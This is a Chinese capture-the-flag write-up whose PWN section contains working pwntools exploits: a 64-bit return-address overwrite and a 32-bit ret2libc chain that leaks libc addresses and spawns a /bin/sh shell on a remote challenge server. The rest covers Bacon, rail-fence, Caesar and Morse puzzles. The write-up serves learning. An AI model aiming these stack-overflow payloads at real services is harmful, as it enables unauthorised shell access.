PWN
1.Sig
给你点信心
(nc 120.79.51.146 10000)(flag格式flag{})
https://pan.baidu.com/s/1nbsCdWJ893P6RR5wGN2AIw 密码jzpx
nc 120.79.51.146 10000
64位
查找字符串
发现system函数
简单溢出覆盖返回地址
from pwn import *
call_addr = 0x400596
r = remote('120.79.51.146',10000)
payload=0x88*'a'+p64(call_addr)
r.send(payload)
r.interactive()
r.close()
2.Rop32
栈溢出
(nc 120.79.51.146 10002)(flag格式 flag{})
https://pan.baidu.com/s/15mB5DQDQk-6JWERsBKOkaQ
nc 120.79.51.146 10002
32位
感觉这个题目跟Jarvis OJ level3比较类似
from pwn import *
r=remote('120.79.51.146',10002)
e=ELF('./rop32')
plt_write=hex(e.plt['write'])
got_read=hex(e.got['read'])
vulfuncadr=hex(e.symbols['vulnerable_function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)
payload1='A'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args
#r.recv() 一开始写这句 但是总是卡到一半
#后来大佬说是因为根本没有发送..所以一直接收不到 果然去掉就好了
r.send(payload1)
readadr=hex(u32(r.recv()))
# 950: 000d4350 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
# 1443: 0003a940 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
# 139: 0002e7b0 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
# 15902b /bin/sh
libc_read=0x000D4350
offset=int(readadr,16)-libc_read
sysadr=offset+0x0003A940 #system
xitadr=offset+0x0002E7B0 #exit
bshadr=offset+0x0015902B #binsh
payload2='A'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)
r.send(payload2)
r.interactive()
MISC
MISC1
小姐姐好看么
https://pan.baidu.com/s/1r8jquNYSSYeKBM7zEhyU5g
因为没做过这种题 做法都是网上现搜 照猫画虎弄出来的= =
先搜到的是这种方法 后来发现弄不出来 然后又搜了个别的 就出来了…
CRYPTO
你必须要跳
解密下去就行
https://pan.baidu.com/s/1C7QYb6cW503BVb-bcShPmg
培根密码
培根所用的密码是一种本质上用二进制数设计的,没有用通常的0和1来表示,而是采用a和b
培根密码在线解密 http://rumkin.com/tools/cipher/baconian.php
栅栏密码
在线解密 https://www.qqxiuzi.cn/bianma/zhalanmima.php
栅栏密码是一种简单的移动字符位置的加密方法,规则简单,容易破解。栅栏密码的加密方式:把文本按照一定的字数分成多个组,取每组第一个字连起来得到密文1,再取每组第二个字连起来得到密文2……最后把密文1、密文2……连成整段密文。
嗯 真香
常用的加解密
简单解密
https://pan.baidu.com/s/1C44PhWUXIIo5JvkxKpl28Q
凯撒密码脚本
def casearDecrypt(ciphertext, source_char, destination_char, list_all):
if list_all == True:
for offset in range(1, 27):
convertChar(offset)
else:
offset = ord(destination_char) - ord(source_char)
convertChar(offset)
def convertChar(offset):
chars = "abcdefghijklmnopqrstuvwxyz"
for char in ciphertext:
is_upper_flag = 0
if char.isupper():
char = char.lower()
is_upper_flag = 1
if char not in chars:
outputChar(is_upper_flag, char)
continue
tempchar_ascii = ord(char) + offset
tempchar = chr(tempchar_ascii)
if tempchar not in chars:
if offset < 0:
tempchar_ascii += len(chars)
else:
tempchar_ascii -= len(chars)
tempchar = chr(tempchar_ascii)
outputChar(is_upper_flag, tempchar)
print("")
def outputChar(is_upper_flag, char):
if is_upper_flag == 1:
print(char.upper(), end="")
else:
print(char, end="")
ciphertext = input("Please input ciphertext:\n")
while True:
operation = input("List all results?y/n:")
if operation == 'y' or operation == 'Y':
casearDecrypt(ciphertext, '', '', True)
break
elif operation == 'n' or operation == 'N':
des_char = input("Please input destination_char:\n")
sors_char = input("Please input source_char:\n")
casearDecrypt(ciphertext, sors_char, des_char, False)
break
else:
print("Input error! Please input y/n:")
滴滴滴嗒嗒嗒
嘀嘀嘀嗒嗒嗒这是什么声音呢
https://pan.baidu.com/s/19NwBGm-VO8qXHjnD6mU9tg
摩斯密码在线解密
http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx
46464546324645464632464532454546324646324646463245464545324545454545324646453246453246464646463246324545463245454545453245454532454646
通过题目可以看出 一直是三组数组 所以可以猜测是ascii码
45对应 - 46对应. 32对应空格
这么长一串 该如何替换?
可以写脚本 但更省时间的是用word或者文本文档中的文字替换(大佬教的
感悟= = 真是涨姿势